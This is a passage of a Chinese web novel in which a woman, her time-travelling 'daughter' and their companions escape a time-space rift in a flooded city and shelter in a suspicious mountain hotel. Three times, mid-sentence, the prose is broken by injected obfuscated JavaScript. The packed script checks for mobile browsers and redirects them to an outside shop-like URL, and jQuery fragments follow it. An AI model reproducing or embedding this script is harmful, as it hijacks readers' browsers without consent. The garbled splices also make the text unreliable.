“这不是下水道。”肖与楚大声说道，她的话立即被雷声吞没了。 “你说什么？”张进拉长了语调。 “我说，这不是下水道！”肖与楚加强了语气，“这是裂缝，如果我们掉进去，就进了另一个时空，跟潺音一样。” 有了潺音这个活生生的例子，大家都不难理解肖与楚的话，在听到肖与楚这么说后，所有人的脸色都变得更加沉重了。 肖与楚的心里更是悲观，她几乎可以确信小佳坚持不了多久了，因为小艇正在缓缓地下坠，也许过不了几分钟，他们就会被这个裂缝吞噬。 “妈——”小野的叫声唤醒了肖与楚。“你看小佳。” 小佳佝偻着腰，看样子的确撑不住了。 必须尽快做决定了。 但是做什么决定肖与楚还没数…… 她感觉脑海里一下子有千百万个念头窜过，但都是那么的渺小、不可捉摸。 直到她看到小野的小脸蛋出现在自己眼前。 奇了怪了，她怎么看起来一点都不担心。 “妈，我们落下去吧。”她说。 “你说什么啊？”肖与楚一时没反应过来。 “小佳姐坚持不了多久了，如果再这么下去，说不定她会死，我们也会死。我们现在落下去，也算是给她一条生路。” 小野一语惊醒梦中人。 肖与楚急忙朝小佳挥手，示意她停止这么做。 廉敏佳看到肖与楚的手势，怀疑自己眼花了：难道这帮人真的不想活了。 但是她也遇到了大麻烦，她这几日到处游荡，没找到什么食物，本身体力就不够，如今又遇上这样的大事，直觉自己的身体都要被掏空了。 就算肖与楚不挥手，她也坚持不了多久了。 廉敏佳感觉鼻孔里有温热的气体涌出，天地在眼前也陡然颠倒，她的身体不自觉地晃了晃。 “她坚持不了多久了，妈妈，”小野果断地端起捕猎者瞄准廉敏佳，“我必须阻止她。” 子弹射了出去，顷刻间，廉敏佳就无力地倒下了。 小艇从高处跌落，乔一伊发出了一声惨烈的尖叫。 肖与楚产生了一种诡异的失重感，她握紧船沿，感觉到生命的逝去就在须臾之间，脑海里出现的东西太多了，就好像有千百部电影在上演，她脑海中突然冒出一句中二的词：以宇宙之力修复时空之缝。 “扑通”的一声，巨大的撞击让肖与楚的身体飘了起来。 像是无数碎片在空中漂浮，肖与楚感觉自己的灵魂游离到了身体之外。 她努力地睁开眼睛，才发觉身处一片灰蒙蒙的区域之中，其他人消失了，只剩下她一个人孤零零地站在这里，她什么也看不见。 “小野——” 肖与楚叫了一声，没有人应她。她又叫了乔一伊、张进、潺音的名字，也没人搭理。 这到底是什么地方？肖与楚只犯嘀咕。难道她已经接近死亡，或者已经死了？要不然会怎么凭空出现这种幻觉？ “肖与楚。”背后有人唤她的名字。 肖与楚转头一看，发现一个身形跟她差不多的影子就站在不远处，只是无论如何都看不清她的脸。 “你是谁？” “我是你。” “胡说八道，你怎么会是我。” 肖与楚往前走了几步，想要看清楚对方的样子，但对方好像跟她保持着固定的距离，始终处于一片混沌之中。 “我没有胡说，我是属于你的记忆，只是你记不起来了，现在是你该记起来的时候了。” “什么记忆？我不知道你在说什么。” “这不怪你。在多重时空中不断跳跃，会给大脑造成严重的伤害。你曾经是我们最厉害的裂缝控制者，只可惜在这个时空中沉睡了数年。她们以为派一个乳臭未干的小屁孩就能把控你，那就大错特错了。” “你在叭叭什么啊？”肖与楚不耐烦地转过头，谁知道那个人影又出现在她前方不远处。 “我知道你觉得这很难接受。不过你迟早要接受的。” “赶快放我出去。” “是你自己要来的。” “那我走了。” “你出不去。” 无意义的对话进行了一轮，肖与楚发现自己的确走不出去，这个地方只有混沌，她甚至不知道该往哪个方向走。 “好吧，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678575|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧把你想说的说完，我还要出去看我那几个朋友呢。” 人影沉默了几秒。 “你好像很关心他们？” “嗯……毕竟是患难之交。” “不对，裂缝控制者应该是完全没有感情的人，我们不在乎任何生命，为什么你在乎他们的死活？”人影的声音稍微有一些波动。 “你已经说了好几遍裂缝控制者了，到底什么是裂缝控制者？” “裂缝控制者，是能控制裂缝生成、消失的种族。我们这个种族很神秘，也不为人所知，我们的使命就是保持着多重时空的平衡。” “如何保持平衡？” “破坏。” “破坏？”肖与楚觉得不可理喻，“我还没听说过靠破坏保持平衡的。” “以现在的你来说，当然想不到。多重时空原本应该以一种稳定的形态发展，但现在某些时空的发展已经大大超出了其他时空，而且他们向往星空，向往那些超越时空限制的地方，这对我们来说不能容忍！” “所以……你们就……？” “对，你也应该完成你的使命。现在让我进入你的身体，加速这个世界的灭亡。” 人影说着就朝着肖与楚冲过来，肖与楚大叫了一声不要就伸出手阻挡。 “哎呦。这家伙，都昏过去了力气还那么大，我这鼻子差点没给我干废了。” 肖与楚朦朦胧胧听到张进的声音，她睁开眼睛，发现张进就在她面前，捂着鼻子嗷嗷叫。小野和乔一伊也在她身边，眼巴巴地看着自己。 只是他们这会儿已经不在小艇上，而是在一间废弃的办公室。 “你醒了，”小野摸了摸肖与楚的额头，“你刚刚昏过去了，我们就到小佳在的这栋楼来了。” “小佳和潺音呢？” “小佳刚刚吃了点东西，她和潺音出去观察水势了。” “我……”肖与楚一时语塞，她有点分不清楚现实和虚拟，刚刚那些话还萦绕在她脑海里，无法散去。 “我什么我，醒了就是好事，我刚刚都快吓死了。”乔一伊擦了擦眼角的泪，“你不知道那会儿多恐怖，我们的船掉下去的时候，我还以为我们完蛋了。” “到底发生了什么事？”肖与楚竖了起来。老实说，睡在办公桌上也不是很舒服。 “我们掉下去后，漩涡消失了。”张进说道。 “对啊，消失的非常突然。但是我们还是受到冲击，船差点沉下去。对了，”乔一伊指着张进，“他都掉水里了。” 肖与楚这才注意到张进全身都湿漉漉的。 “嘿嘿，也是命大，掉下去浮上来就抓到了船沿，要不然这会儿不知道在哪个下水道打转呢。” 漩涡怎么会突然消失呢？难道真是那句咒语的作用？难道是隐藏的自己救了自己？ 肖与楚的疑惑在一瞬间达到了巅峰。 “说明我们运气好，”小野在一旁插话道，“我当时给小佳姐姐发子弹的时候，也没想到漩涡会消失，只是不想看到小佳姐姐死。没想到，那个裂缝突然没了。” 小野说完咧着嘴，露出了一个笑脸。 是这样吗？肖与楚更加怀疑了，小野一定知道些什么，她一定要找机会问清楚。 “你们出去吧，我有些话要跟小野说。”肖与楚神情变得严肃起来。 21. 021 “什么话？我们不能听吗？”乔一伊问。 “人家母女俩说话，你听什么，走吧走吧。”张进拉着乔一伊往外走，出门前，他还贴心地把门关上了。 “妈，你要跟我说什么？”小野笑眯眯地问。 “我都说过了，我们两个人相处的时候，可以不用叫我妈。” “好吧。”小野悻悻地说。 肖与楚揉了揉额头，看着趴在桌上的小野，这个小孩的神态动作的确和她很像，有时候她也会产生一种恍惚感。 “你刚刚为什么那么果断啊？难道不怕被吞进去？”肖与楚问道。 “我怕啊，”小野缩了缩肩膀，“我只是觉得小佳姐姐那么可怜，我们死了，她也死了，太不划算了。” “你这个年纪还能考虑得这么全面？” “我们两个时空进化的方向、接受的教育本来就不一样，我能这么想很正常啊。”小野一本正经地解释道，“还好我们运气好，时空裂缝刚好消失了。” “你怎么知道它会消失？” “我不知道啊，但是时空裂缝本来就不会一直存在，他们的出现和消失都不固定，只是我们这一次运气好，下一回就不一定了。” “真的吗？”肖与楚不相信小野的话，她觉得小野一定有很多事情瞒着她，可是如果她也如记忆深处那个人影说的那样的话，她应该有很不堪的过去，只是她不记得。 那么她所面对的和即将要面对的，究竟是什么，她没有头绪。 “真的。不过——”小野停顿了一会儿，将视线投向窗外，“我也觉得奇怪呢，妈妈为什么让我来找你。刚开始我觉得她让我来找一个陌生人，胆量也太大了，万一你是个坏人怎么办？可我妈妈说，她观察你很久了，你是个好人，她说你每次遇到乞丐的时候都会给他们钱，还说你哪怕吃了苦也不会跟家里人说。这样的人肯定不是坏人。” “他们以为找个乳臭未干的小屁孩就能把控你……”那句话突然出现在了肖与楚的脑海，她悠长地叹了口气。 “你叹气干什么啊？”小野问。 “没什么，你跟我说说你妈妈是个什么样的人。” “我说过了，我妈妈是个普通的时空记录官，她每天的工作就是上班，和那些穿越到不同时空的机器或者人联络，然后将他们传递回来的信息，分门别类记录到系统里，然后会针对性的进行分析。” “那你为什么不跟她联络？她是你的亲妈，难道你是自己跑出来的。”肖与楚步步紧逼。 “不是我不想跟她联络，”小野急得站了起来，“只是我们的通信设施都被毁坏了，我们的时空也遭受了很大的灾难。我妈妈说，只有到这个时空来，只有你才能保我的平安。” “你妈妈真是煞费苦心。” “就像你们时空的人所说的，父母爱子则为之计深远。我妈妈也爱我，但是我没有想过，你也一样爱我，毕竟我们没有血缘关系。” 小野说这话的时候语气很是低沉，就好像受到了巨大的挫折一样。 这种低沉的氛围让肖与楚很不适应，她犹豫了一会儿，伸手摸了摸小野的头，说：“要说爱，那也太夸张了，毕竟我们才没认识多久，但你的确帮了我很多忙，与其说我保你平安，不如说你在保我平安。” “是吗？我这么重要？”小野的眼睛里亮晶晶。 “嗯。”肖与楚微笑着点了点头。她没有说假话，如果不是有小野在，她根本活不到今日，于情于理都不该过多苛责这个千辛万苦过来的孩子。 小野擦了擦眼角，高兴地笑了。 肖与楚看向窗外无休无止的雨，再次问道：“你知道裂缝控制者吗？” “裂缝控制者？”小野一字一顿地重复着这几个字，眉间露出了疑惑的神情，片刻，她摇了摇头说：“我第一次听说。” “你有没有从你妈妈那里听过这几个字。” 小野又想了想，斩钉截铁地回应道：“没有。” 肖与楚悠长地叹了口气。 过了一会儿，外面突然传来了敲门的声音，肖与楚说了请进，就看到廉敏佳和潺音进来了，两人的脸上头发上都是雨水。她俩的身后还跟着乔一伊和张进。 廉敏佳一进门，便冲肖与楚露出一个微笑。“姐姐好。” “你好。”肖与楚暗暗吃惊，廉敏佳的风格已与当日不同，她现在穿着一件普通的校服，脸上也比之前少了很多戾气，但肩上还是斜挎着那个军用水壶。 “这现在只是个普通水壶，杀不了人。”廉敏佳解释道。 “哦。”肖与楚微微点了点头，“刚刚谢谢你救我们，要不是你坚持那么久，说不定我们已经死了。” “应该的，就是我当时没怎么吃东西，身体比较弱，要不然就能带你们离开了。” “已经做得很好了。对了，当时在地铁站到底发生了什么事？” “那日在地铁站，我本来是想求死的……”廉敏佳垂着脑袋，淡淡地叹气，“我不应该没有自己的主张，盲目相信张老师的话，我害死了那么多人，犯了很多错，当时的我实在是没有勇气活下去。” “但是因为你能控水，所以没死成？” “没错，也有可能是求生的本能在作祟吧，”廉敏佳涨红了脸，“水流靠近不了我，反而在我周围形成了一个气泡，我能呼吸，也能行走自如。” “当时你为什么不出来呢？” “我怕看到你们，毕竟我害死了那么多人，我是个杀人犯。” “别这么轻薄自己，”潺音说道，“你们的时空都变成人间地狱了，活下去才是第一要义，该杀的人一定要杀。” 这话对，又感觉哪里不对，众人不由得打了个冷颤。 “潺音姐姐这么说也有道理，毕竟你跟花木兰一样，是一个征战沙场的将军。” “花木兰？”潺音眉间满是疑惑。 “哎，不重要。”肖与楚已经不想就这些事情聊下去了，她觉得她们俩进来肯定不单是为了这件事。“你们在外面看到了什么？” 廉敏佳嘴唇动了两下，大概是组织了下语言才开始说：“水越来越大了，北边的地势高，水都在往这一片涌，这个地方地势不高，很快就会被淹没，我们得走了。” 肖与楚也不想在这个地方过多停留，谁也不知道这附近还会有什么不可预知的危险。 他们重新坐上了那艘救生艇，目的地还是城市南部那个叫九岭的地方，如果路线得当，又没有什么其他危险的话，他们大概能赶在天黑前到达那里，这样即便晚上下暴雨也不会害怕了。 于是一行人在暴雨之中上了船，肖与楚刚想拿起桨，廉敏佳就阻止了她。 “我可以用我的能力驱动船，不过我的身体还没恢复得很好，所以每次只能四五分钟左右。”廉敏佳说着又红了脸。 “太好了。”肖与楚很高兴，哪怕只是几分钟，这也会给他们节省很多体力和时间。 不得不说，廉敏佳的能力的确厉害，她对城市里的马路也熟悉，只是依然要小心，整座城市已经变成了一片汪洋，到处漂浮着腐尸、垃圾以及枯枝败叶，甚至还有一些汽车残骸。不仅如此，建筑经过一个多月极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715984|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端天气的摧残，有一些也变得很脆弱，随时有倒塌的风险。 在这样复杂的城市汪洋中行船，必须打起十二分精神。廉敏佳操控船的时候，其他人就会留意四周的情况。而轮到肖与楚和张进划船的时候，其余人也会提高警惕。 就这样，开了大概半个多小时，船终于到了九岭区域，那座不大不小的山，就在眼前了。这座山虽然不高，但却因为有一家极负盛名的寺庙而非常出名，寺庙的名字叫弘愿寺。 这座寺庙一千多年前就存在了，几经焚毁，古迹没剩下多少，到近现代只落得了个千年老寺的名声。直到几十年前，一个从国外回来的华侨在山脚下盖了一家酒店，又找媒体来造势，终于把弘愿寺炒作了起来，接着在附近又盖了好几个酒店。不仅本市人前来上香祭拜，连周边省市的人也会过来求神拜佛。 小船在九岭这一片穿行了一会儿，终于看到了陆地。一截上山的马路向上延伸，两边的树木很多都枯萎得不成形。没有茂盛的树冠遮挡，连山上那座寺庙都变得孤苦伶仃。而在山腰上那座仿古的酒店若隐若现。 天色逐渐暗了下来，回头望去，整个城市已经变成了一片汪洋，但雨却还在淅淅沥沥的下。 众人回望着这座城市，不免都有些感慨。尤其从其中能辨认那些熟悉的建筑时，更让人生出无限的复杂情绪来。 “你们看。”乔一伊指了一个地方。 众人跟随她所指的方向看过去，虽然距离遥远，而且天色也逐渐暗了下来，但众人都看见有一栋建筑在暴雨和洪水的冲刷下轰然坍塌。 “老天爷啊……不知道那栋楼里有没有人。”张进低声说道。 “太可怕了，”潺音一手握紧手中的剑，一手捂着嘴，“我……我在丹族从未没见过这么大的雨，也没见过这大的洪水。” “别说你没见过了，我们长这么大也没见过，不知道这雨什么时候停，也不知道这洪水什么时候能退完。”乔一伊说。 “别管这些了，天色不早了，我们想想该去哪儿吧？”张进说着走向路边。 路边有一块掩盖在枯草中的路牌。张进弯腰把路牌翻了个面，上面的字样还很清晰。距离弘愿寺3.5公里，距离鸿鑫酒店800米，距离香橼酒店1.2公里；距离公共卫生间300米。 众人你看我，我看你，最后大家都看着肖与楚，等她做决定。 “先去最近的那一家酒店看看能不能住人。”肖与楚这么说。 众人于是像是得到了指令一样，一起往鸿鑫酒店走去。 “你们有没有觉得，这里的雨小一点？”乔一伊一边走一边问其他人。 “这有什么奇怪的，就算平时下雨也不是均匀下的啊。”张进漫不经心，“比起这雨，我倒是担心那酒店会不会还有其他的住客，万一他们不让我们进去住怎么办？” “不让我们住店，我就杀进去。”潺音冷淡地说。 众人沉默。 “这……嗯……倒也是个不错的办法。”张进笑嘻嘻。 肖与楚觉得十分幸运，虽然下了很久暴雨，但山路一直没有垮塌的迹象，他们一路走到鸿鑫酒店附近都很顺利。等他们拐了个弯后，就进入了酒店前的停车场。 酒店停车场里还整整齐齐地停着几辆车，只要穿过酒店停车场，就能进入酒店了。 从外表看来，这座酒店似乎没人，酒店前台也黑黢黢的。但众人不敢如此轻易地下定论，于是变形成了一只安静的队伍往那里走去。 就在众人安全穿过停车场，准备松口气时，酒店大堂里的灯突然亮了。 22. 022 不是特别亮的灯，但是光亮刚好塞满一个大堂，在大堂中央，有一个穿戴整齐的服务员站在那里。 众人不由得停下了脚步。 怎么看这件事都太过诡异了，在这山间，这样一家酒店居然到现在还开着门。 “怪事，难道这个酒店还在营业？”张进嘀咕道。 乔一伊：“可能也不是营业，就是有个人还活着吧。” 廉敏佳：“我们得小心，万一有陷阱。” 潺音：“神挡杀神，佛挡杀佛。” 众人沉默。 “你们看，那个服务员好像在对我们招手。”小野扯着嗓门说道。 “嘘——你小点声。”肖与楚提醒道，她虽然也觉得事态诡异，但已经到了酒店门口，不如上前问个清楚再做决定。 就在她准备上前去询问时，那个服务员也走出来了，他一边招手一边喊道：“你们是从山下来的吧？快过来吧，我们这儿还有房间空着。” 声音容貌都正常。 肖与楚一行人你看我，我看你，还是迎了上去。直到走到酒店门口，那位服务员面前才停下来。 服务员看起来是个二十出头的年轻人，留着很利落的板寸，嘴角保持着职业上扬的弧度。 他穿的是酒店的工服，纯黑色西装，胸前还别着名牌，名字叫：谢云廷。 “你们好，我是鸿鑫酒店的前台谢云廷，叫我小谢就行了。”谢俊廷指了指胸前的工牌。 “你们酒店现在还营业啊？”张进问。 “怎么可能，只是我和经理都被困在这里，就顺便接待一些需要帮助的人。” “除了我们还有别人？” “有七八个吧，”谢俊廷说着伸出手，“一、二、三、四、五、六，有六个人，够了。” “啥够了？” “哦，人够多了，我们还没同时看到过这么多人。”谢俊廷一一扫过所有人的脸，“一男五女，这房子可不好分配啊，你们是想一人一间，还是两人一间啊？” “当然是……”张进顿了一下，瞥了一眼其他人，“我可以一人一间，她们……听她们的。” “我们还没想好呢。”肖与楚有疑虑，“请问房费怎么付呢？” 谢俊廷又笑了：“都这种时候了，还说什么房费啊，拿了钱我们也没地儿花啊。你们放心吧，我们不收钱，不过你们要是有什么物资，可以给我们提供一点，或者也可以给我们厨房帮帮忙的，厨房就我们经理自己在忙。” “厨房的事儿我擅长。”张进嘻嘻一笑。 “对啊，他是个很厉害的厨师。”乔一伊补充道。 “是吗？那太好了。”谢俊廷松了口气，“这样我也能少挨点骂。” 乔一伊：“你们经理很凶啊？” “也不是凶吧，”谢俊廷双手交叉在身前摩挲，“就是人比较死板，不喜欢别人破坏规矩。” “哦……明白了。” “你这说的我有点后悔说帮忙了。” “放心，他对外人不这样。”谢俊廷嘿嘿笑了，“你们先把雨衣脱了吧，我再带你们去看看房间。” 众人按照谢俊廷的指示脱掉了雨衣，跟着谢俊廷的脚步进了酒店大堂。 谢俊廷到前台拿了一把手电筒，又拿了好几张房卡，捏在手心。 “你们房卡还有用呢？”张进问出了肖与楚想问的问题。 “有用啊，”谢俊廷漫不经心地回答，“我们酒店就有备用发电机组，在后面山洞里。” “山洞里？我以前爬过这座山，我怎么不知道这里有山洞？” “你当然不知道了，”谢俊廷一边招呼所有人上楼梯一边说，“这里的山洞是防空洞，有很多年历史了，当初修酒店的时候，老板把这防空洞利用起来了，我们酒店好多物资也是放那儿的。” “哦……我说呢。”张进点了点头。 为了保证景观的一致性，这栋酒店修得不高，一共也就四层，谢俊廷带着大家一口气上了三楼。 “我们都住三楼，因为三楼有连廊可以直通附楼，附楼有餐厅，还有洗浴中心这些。”谢云廷解释道。 “原来如此。”张进很捧场。 “你们是想一人一间房，还是怎么安排？” “一人一间。”潺音和廉敏佳几乎异口同声。 “他们仨一人一间，我们三个住一间双人房。”肖与楚指着小野和乔一伊说。 乔一伊连连点头：“嗯嗯嗯，这样安排不错。” “行，随你们，反正房间够用。这几天下雨，我们的水也够用，只是如果想洗热水澡，得去洗浴中心自己烧水洗，当然你们要是想洗衣服也行，那边风晾衣服的地方，风挺大的，容易干。” 就这样谢云廷把大家带到了房间门口，第一间房是318，给了张进；第二间房是319，归潺音所有，她在门口犹豫了半天才进门，毕竟这跟她家里的客栈不一样。 不仅是客栈不一样，这个世界的所有一切，都与她的世界不同，那座庞大的城市，落入她眼底时，让她的内心感受到了前所未有的震动，她不知道该如何去形容那种茫然又复杂的心情，此刻她只想独处一会儿，想想那已经久远的故乡。 第三间房是320，廉敏佳入住了，她好几天没睡好觉了，此刻只想好好睡一觉，驱赶连日的疲惫。但愿能睡着吧，她在进门时这样想。 第四间房是321，肖与楚、小野、乔一伊站在了门口。谢云廷把门卡放在门锁上，伴随着嘀嘀两声，门锁打开了，是一间布置温馨的双人房。 “入住愉快。”谢云廷把房卡交在肖与楚手上，重复刚刚对其他人说的话，“电力我们只保证基本的照明，这里的线路改过了，不需要插房卡就能开灯，卫生间可以用，目前还能负荷。” “这些话我们刚刚都听见了。”乔一伊说。 谢云廷嘿嘿一笑：“职业习惯，没办法。你们晚上要吃晚餐吗？我可以来叫你。” 潺音和廉敏佳都不吃，肖与楚和其他几个人也不是非吃不可，但是一方面张进已经答应了去厨房帮忙；另一方面肖与楚想看看住在这里的究竟是些什么人，于是这两人肯定是要去的，他俩去小野和乔一伊自然也要去了。 于是谢云廷约好晚上六点半来叫她们。 距离六点半还有一会儿，肖与楚和乔一伊也没什么兴趣洗热水澡，直接在卫生间里冲了冲，就在小野的空间囊里寻了件干净衣服换上。这衣服都是她们当时在活力城搜刮的，也算是未雨绸缪了。 弄完这些，她们就躺在床上休息。 “好几天没睡床了，小楚你知道吗？这个地方我在网上查过，以前淡季的时候都要两三千一晚，你就看这床品，摸起来就是舒服些。看来今天晚上能睡个好觉咯。”乔一伊开心极了，她絮絮叨叨了一会儿，就进入了梦乡。 但肖与楚却没那么放心入睡，实际上她对这个酒店有很多疑惑，也不仅仅是对这个酒店，而是对九岭这个山头都感到疑惑，她总觉得这里和其他地方有些不同。 至于是哪里不同，她也说不上来，就是感觉这里平静许多，很多树木在极端天气摧残下虽枯了，但还有很多常青树没有枯萎，反而生长得很茂盛。 “小野，我问你个事。”肖与楚叫小野的名字。 小野本来快睡着了，听到肖与楚叫她，瞬间睁大了眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722286|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么事？”她的声音含含糊糊，小脸蛋一鼓一鼓。 “就是说这个世界会不会有什么地方，不会被时空裂缝所影响的？” “有吧，世界这么大，用你们的话来说，总有地方卡bug。” 肖与楚：“……你学的东西还真多。” 小野迷迷糊糊地揉了揉眼睛，咧嘴一笑：“我都是有意思的就多看，没意思的就少看。” “我出去看看，你要不要一起去？” 小野一下子来了精神，她竖起来问道：“去哪儿？” “就去餐厅那栋楼，还有周围。” “好。”小野来了兴致，毕竟她来了这个世界后，还没有这么松弛过呢。 肖与楚和小野一起出了门，两人左右看了一眼，决定往连廊的那边走。虽然没做什么亏心事，但两人的脚步都很轻，在外人看来，颇有些鬼鬼祟祟的感觉。 “你们俩哪儿来的？” 肖与楚一激灵，转头一看，只见312房间拉开了一条缝。门缝里一双戴着眼镜的眼睛正骨碌碌地转动着，盯着她和小野看。 “我们……新来的住客。”肖与楚回答。 “哦，”那人似乎松了口气，拉开了门，“吓我一跳，我还以为是我的幻觉。” 肖与楚仔细打量眼前这个人，他穿着一件灰色的长袖衬衫，一条洗的发白的牛仔裤，脚踩一双蓝色凉拖。至于身材，很瘦削，脸上没什么肉，头发快长到肩膀了，胡须凌乱地在脸上生长着。 “怎么会是幻觉？我们都是活生生的人。”肖与楚说。 男人挠了挠额头，说：“哎，我的问题。最近睡眠少，又忙于创作，所以有时候脑子不太清楚。” “创作？” “嗯，我在写小说。” “都这么乱了，你还能写下去小说？”肖与楚心里升起来一股佩服之情。 “不然也没什么事干。”男人局促了起来，脸有些微红。 “哦……真希望有机会拜读。”肖与楚客套道。 男人吓得连连摆手：“不了不了，我自己看看就好。我这个文笔见不得人，怕人笑话。” 肖与楚礼貌地笑了笑，她也不知道该如何回复眼前这个男人。 “我叫林预，树林的林，预言的预。” “我叫肖与楚，生肖的肖，赠与的与，楚国的楚，这是我女儿小野。”肖与楚随口介绍。 “肖与楚，”林预垂下了眼睛，思考了几秒钟，“好名字。” 说完后，林预就沉默了。 “对了，我有件事想问你。”肖与楚看林预没有要关门的样子，便打听起了事情。“这里除了你之外，还住着谁啊，我还没见过呢。” “这个啊，”林预扶了扶眼镜，“除了我之外，还住着一对老夫妻，这两人大概七十多了吧，他们俩很有地位，据说在没发生那件事之前，就住在这里；一个老和尚，是山上弘愿寺的住持；一对母女，嗯……在你们的年纪上再加上二十岁左右就是他们的年纪；还有前台谢云廷，很好说话的一个小伙子；经理吴大名，脾气很臭，很难说话。” 尽管肖与楚没有期待林预能回答得这么仔细，但如此有内容的答案，她还是暗暗感到欣喜。 “厉害，不愧是搞写作的，每个人都记得那么清楚。”肖与楚称赞道。 “谬赞谬赞，”林预笑了笑，脸上堆砌起了细细的皱纹，“既然是新客人，那我就放心了，你们出去溜达要注意安全，回头见。” “好的，谢谢你。”肖与楚微微点了点头。 林预关上了门，门里传来几声浑浊的咳嗽声，接着肖与楚又听见他嘟囔了几句，却听不清他到底在说什么。 23. 023 肖与楚对着紧闭的房门盯了一会儿，才牵过小野的手说了句“走吧。” “感觉这位叔叔怪怪的。”小野在一旁说道。 肖与楚：“哪里怪了？” 小野皱着眉：“说不上来。不过看他那副样子，像是生病了。” 肖与楚和小野一直前行，不多时就来到了连廊，这个连廊两边都放置着一些古典风格的盆栽，还有造型精美的仿制花瓶。 穿过连廊后，先是电梯间，再往前左边是西餐厅，右手边是中餐厅。西餐厅关着门，中餐厅的门大开着。 肖与楚拉着小野进了中餐厅的大门，因为天色已晚，餐厅里的光线很暗，左边窗户望出去是山石，右边窗户距离比较远，但可以看出来是停车场的方向。 肖与楚和小野屏住继续往前走，隐约听到前方传来吵闹的声音，而且有火光在微微晃动。她循着声音一直往前，直到走到头，才发现尽头左手边是一个开放式厨房，厨房里一个头发斑白的中年人正背对着肖与楚教训谢云廷。 看来，这个中年人就是吴大名了？ “我跟你说了多少次了，酒店有酒店的规定，你是脑子被驴踢了，还是爹妈没教好啊，怎么老是记不住！” “对不起，经理……”谢云廷脑袋垂得低低的，好像犯了什么极大的错误。 “你跟我说对不起有什么用？工作是给我干的？工资是我领的？我就是瞧不起你们这种好吃懒做的，一出事光知道说对不起的，怎么不去死呢你！” “对不起……” “有什么好对不起的，谁需要你道歉啊，不会就多学，学不会你明天卷铺盖滚蛋得了！”吴大名恶狠狠地说道。 谢云廷垂着头，不在做声了。 “哎，我说老哥，你都骂他半天了，就不能消停会儿啊？”不知道何时，张进从厨房后面钻了出来，他手里抱着一摞柴火。 “管你什么事？”吴大名没好气。 “怎么就不管我的事了？”张进把柴火扔到地上，吸溜了一下鼻子，“这酒店都特么倒闭了，你还在这耍官威，什么臭毛病？” “酒店倒闭了，你们跑进来干什么？那我准备的东西是给猪吃的？” 张进噎住。 “行了行了，赶紧把火续上吧，要不然来不及了。”吴大名依旧很不爽。 谢云廷见状立马弯下腰去，给炉子添火。肖与楚闻到那锅里飘出来淡淡的红薯香味。 “你怎么来了？”张进看到了站在角落里的肖与楚。 肖与楚一笑：“我瞎溜达。” “那是谁？”吴大名问。 谢云廷回答：“是我们新来的客人。” 吴大名上下打量了一下肖与楚，转过了眼，什么都没说。 “这位女士，你要不还是先回去等等吧，我们这里饭菜还没做好呢。”谢云廷对肖与楚说。 “请问今天吃什么啊？” “红薯饭，配点咸菜。现如今不比以前，这已经是最好的晚餐了。” “哦——” “哼，都怪你这个没脑子的，一下子带了五六个人来，还不知道这些东西能吃几天。”吴大名抱怨。 谢云廷尴尬地笑了笑。 “我们也不白吃你们的，我也有点物资呢，可以分给你们一些。” “哪儿来的物资？我怎么没看见？” “我藏在山下了，这就去取。”肖与楚并不想吃白食，更何况现在拿点物资出来，也不算什么。 吴大名冷冷地哼了一声，没再说话。 “张进，你跟我一起去拿物资。”肖与楚对张进说。 张进点了点头，从厨房里走了出来。 三人一直走出了餐厅，张进才默默地吐出了一口气。 “这个吴经理，真是嘴臭啊，一直骂人，那个谢云廷也是脾气好，要换做是我，早干架了。” “他骂多久了？”肖与楚一边下楼一边问。 “四五分钟吧，真是得理不饶人。”张进说着摇了摇头，“你有没有觉得这个酒店的气氛特别压抑？” “压抑是怪压抑的，不过我觉得这可能因为酒店没人吧。” 张进认真地点了点头：“有这种可能。对了，你要给他们多少物资？” “两袋大米，一袋面粉，两箱罐头，方便面还有一些干蔬菜之类的……” “这么多？” “对啊，是不是太多了点？”小野也觉得有点过多。 “我看这里的环境还不错，而且你们不觉得这里好像受影响小一点吗？你们看，那几颗书还活得好好的，空气也比山下要好。如果真不错，我们可以在这里多住一些日子。” “那……庇护所就不去了？” “只是暂时不去。” “也行，折腾来折腾去的，也不知道猴年马月才能到庇护所，还不如做一天和尚撞一天钟。”张进马上就说服了自己。 张进从酒店大堂拿了一辆推车。三人走到酒店看不到的地方，把物资捡了出来，就往回走了，不多时就到了附楼楼梯口。 众人正合计着怎么把东西搬上去，就看到从洗浴中心走出来一个清瘦的和尚。 “这就是那个弘愿寺住持啦？”小野低声对肖与楚说。 “应该是。”肖与楚回答。 那个和尚一身青衣，脸颊深深凹陷了先去，看到肖与楚几人，露出一个随和的微笑，就轻飘飘地走了过来。 “你们就是新来的人？”和尚的目光一一扫过几个人的脸庞。 “是，”肖与楚点点头，“您是弘愿寺的住持？” “我曾经是弘愿寺的住持，法号秋呈。” 